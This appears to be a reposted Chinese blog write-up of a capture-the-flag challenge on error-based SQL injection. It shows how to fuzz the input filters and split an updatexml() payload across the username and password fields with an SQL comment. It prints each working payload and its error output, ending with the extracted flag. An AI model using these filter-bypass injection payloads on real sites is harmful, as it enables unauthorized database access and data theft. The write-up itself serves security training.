sql注入之报错注入

原文:

https://blog.csdn.net/qq_35078631/article/details/79221618

题目链接:

http://ctf5.shiyanbar.com/web/baocuo/index.php?id=1

报错注入,题目过滤了一些字符

我们假如构造如下可以登陆

这里写图片描述

为啥不就不多说了

构造语句成了

select * from users where username='1'' and password='or'1';

可以试试这个语句是可以绕过的。但是并没有我们想要的答案,而且要报错注入,就是那些套路,首先fuzz一波(这个很重要)首先看一下username的

这里写图片描述

我们留心一下,updatexml没有禁掉,但是禁掉了圆括号。再看一下password的fuzz
这里写图片描述

没有禁掉圆括号,但是禁掉了等号。但是怎么利用!我们看一下正常的报错注入是怎么利用的,那最简单的为例子
http://www.waitalone.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

要and updatexml一个内容,我们这里有两个输入,而且username过滤了(),password过滤了updatexml,那么我们是不是可以组合一下?但是中间的语句怎么办?我们可以注释掉!我们构造这样的输入

这里写图片描述

为什么?这个时候语句被构造成了

select * from users where username='1' and updatexml/*' and password='*/(1,concat(0x7e,(SELECT @@version),0x7e),1)or'1'
然后就成了常规的报错注入了,真是好思想!

最后得到flag步骤如下:

username=1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT database()),0x7e),1)or'1
<br>XPATH syntax error: '~error_based_hpf~'

username=1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where !(table_schema<>'error_based_hpf') ),0x7e),3)or'1
<br>XPATH syntax error: '~ffll44jj,users~'

username=1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where !(table_name<>'ffll44jj') ),0x7e),3)or'1
<br>XPATH syntax error: '~value~'

username=1' and updatexml/*
&password=*/(1,concat(0x7e,(SELECT value from ffll44jj),0x7e),3)or'1
<br>XPATH syntax error: '~flag{err0r_b4sed_sqli_+_hpf}~'

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值